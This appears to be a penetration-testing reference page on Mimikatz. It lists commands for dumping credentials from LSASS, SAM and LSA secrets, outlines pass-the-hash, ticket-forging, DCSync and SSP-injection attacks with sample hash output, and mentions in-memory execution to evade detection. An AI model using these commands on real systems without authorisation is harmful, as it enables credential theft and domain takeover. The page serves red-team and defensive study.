Mimikatz

mimikatz is a powerful post-exploitation tool used to extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory on Windows systems. It is commonly used by penetration testers and attackers to escalate privileges and move laterally within networks. It has a binary as well as a .ps1 implementation.

Modules

LSADump

The lsadump module dumps credentials from the Local Security Authority (LSA) framework. Most of these commands require either debug rights (privlege::debug) or local System (token::elevate). By default, the Administrators group has the SeDebugPrivilege.

Command	Description
lsadump::lsa	Extracts LSA secrets from the SECURITY hive or memory
lsadump::sam	Dumps local account hashes from the SAM hive
lsadump::secrets	Parses the decrypted LSA secrets
lsadump::cache	Gets MSCache (cached domain logons)
lsadump::dcsync	Simulates a DC and pulls secrets over LDAP

SekurLSA

The sekurlsa module is used to extract credentials from the protected Local Security Authority Subsystem Service (LSASS) memory. Similarly to the lsadump module, it requires either debug rights (privlege::debug) or local System (token::elevate).

# Enable the SeDebugPrivilege
privilege::debug

# Escalate privileges to SYSTEM
token::elevate

Command	Description
sekurlsa::logonpasswords	Extracts all available credentials from LSASS: NTLM hashes, plaintext passwords (if available), Kerberos tickets, etc.
sekurlsa::tickets	Dumps all tickets in all sessions from LSASS
sekurlsa::kerberos	Extracts Kerberos tickets (TGTs, TGs) for current user from LSASS
sekurlsa::ekeys	Extracts Kerberos encryption keys (aes256, rc4)
sekurlsa::wdigest	Retrieves plaintext passwords if WDigest is enabled
sekurlsa::ssp	Extracts credentials used by Security Support Provider packages
sekurlsa::livessp	Targets LiveSSP credentials (rare)
sekurlsa::tspkg	Dumps credentials from the Terminal Services package
sekurlsa::msv	Dumps credentials from the MSV1_0 package (local logons and NTLM hashes)

Lateral Movement

Pass-the-Hash

For more info about this attack, see here.

1. SeDebugPrivilege

mimikatz # privilege::debug
Privilege '20' OK

2. LSASS

3. PtH

Overpass-the-Hash

For more info about this attack, see here.

1. Obtain NTLM

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
...
NTLM : 369def79d8372408bf6e93364cc93075
...

2. PtH

3. Auth

4. Exploit

Pass-the-Ticket

For more info about this attack, see here.

1. Export Tickets

privilege::debug
sekurlsa::tickets /export
...
Saved to file [0;12bd0][e-mail]

2. Inject Ticket

3. Exploit

Silver Ticket

For more info about this attack, see here.

1. Extract NTML

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

User Name : iis_service
NTLM      : 4d28cf5252d39971419580a51484ca09
SID       : S-1-5-21-1987370270-658905905-1781884369-1109

2. Forge ST

3. Exploit

DCSync

For more info about this attack, see here.

1. Extract NTML

mimikatz # lsadump::dcsync /user:corp\dave
...
SAM Username         : dave
NTLM Hash            : 08d7a47a6f9f66b97b1bae4178747494
LM Hash              : 45bc7d437911303a42e764eaf8fda43e
...

2. Crack NTML

3. DCSync

SSP Injection

For more info about this attack, see here.

1. Inject malicious SSP into LSASS

mimikatz # misc::memssp
Injected =)

2. Intercept Creds

Persistence

Golden Ticket

For more info about this attack, see here.

1. Extract NTML

mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
...
User : krbtgt
NTLM : 1693c6cefafffc7af11ef34d1c788f47

2. Create the GT

3. Exploit

Mimikatz via WinRM

When using mimikatz via a WinRM session it won't run as expected because it’s launched in a non-interactive session. This prevents it from creating or accessing a console. This results in repeated prompts and no actual output. The solution to this issue is to run it with a non-interactive command:

*Evil-WinRM* PS C:\Users\eric.wallows\Documents> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

SafetyKatz

To evade detection, tools like Mimikatz are often executed in-memory using .NET-based PE loaders such as PELoader. For example, sekurlsa::ekeys or sekurlsa::logonpasswords can be run directly from memory without writing the Mimikatz binary to disk.

SafetyKatz integrates this approach, combining a modified Mimikatz with an embedded loader. It first generates a minidump of LSASS via the MiniDumpWriteDump API (typically to C:\Windows\Temp\debug.bin), then loads the dump and parses credentials in-memory before cleaning up artifacts.

Resources

• The Unofficial Guide to Mimikatz & Command Reference by AD Security (article)